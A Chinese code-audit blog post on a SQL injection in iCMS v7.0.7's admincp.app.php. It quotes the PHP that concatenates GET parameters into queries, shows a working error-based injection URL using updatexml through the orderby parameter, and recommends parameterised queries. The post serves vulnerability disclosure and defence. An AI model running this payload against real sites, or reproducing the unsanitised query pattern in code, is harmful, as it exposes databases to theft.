首页 技术 正文
技术 2022年11月7日
0 收藏 472 点赞 878 浏览 1344 个字

 

0x00 环境准备

iCMS官网:https://www.icmsdev.com

网站源码版本:iCMS-v7.0.7

程序源码下载:https://www.icmsdev.com/download/release/iCMS7/latest

默认后台地址:http://127.0.0.1/admincp.php

默认账号密码:用户名密码自设

测试网站首页:

【代码审计】iCMS_v7.0.7 admincp.app.php页面存在SQL注入漏洞分析

0x01 代码分析

1、漏洞文件位置:/app/admincp/admincp.app.php 第36-53行:

  1. public function do_access_log(){
  2. $sql = “WHERE 1=1”;
  3. if($_GET[‘keywords’]) {
  4. $sql.=” AND CONCAT(username,app,uri,useragent,ip,method,referer) REGEXP ‘{$_GET[‘keywords’]}'”;
  5. }
  6. $_GET[‘cid’] && $sql.=” AND `uid` = ‘{$_GET[‘uid’]}'”;
  7. $_GET[‘sapp’] && $sql.=” AND `app` = ‘{$_GET[‘sapp’]}'”;
  8. $_GET[‘ip’] && $sql.=” AND `ip` = ‘{$_GET[‘ip’]}'”;
  9. 10.
  10. 11.     $orderby    =$_GET[‘orderby’]?$_GET[‘orderby’]:”id DESC”;
  11. 12.     $maxperpage = $_GET[‘perpage’]>0?(int)$_GET[‘perpage’]:20;
  12. 13.     $total      = iCMS::page_total_cache(“SELECT count(*) FROM `#iCMS@__access_log` {$sql}”,”G”);
  13. 14.     iUI::pagenav($total,$maxperpage,”条记录”);
  14. 15.     $rs     = iDB::all(“SELECT * FROM `#iCMS@__access_log` {$sql} order by {$orderby} LIMIT “.iUI::$offset.” , {$maxperpage}”);
  15. 16.     $_count = count($rs);
  16. 17.     include admincp::view(“admincp.access”);

18. }

这段函数中将获取到的多个参数进行拼接,注意看orderby参数未经任何处理,直接带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

0x02 漏洞利用

根据漏洞位置,构造出参数 Payload:

http://127.0.0.1/admincp.php?app=admincp&do=access_log&from=modal&orderby=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))–

【代码审计】iCMS_v7.0.7 admincp.app.php页面存在SQL注入漏洞分析

0x03 修复建议

使用参数化查询可有效避免SQL注入、

最后

欢迎关注个人微信公众号:Bypass–,每周原创一篇技术干货。 

【代码审计】iCMS_v7.0.7 admincp.app.php页面存在SQL注入漏洞分析

上一篇: 谈一谈URL
相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,090
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,567
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,415
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,187
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,823
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,906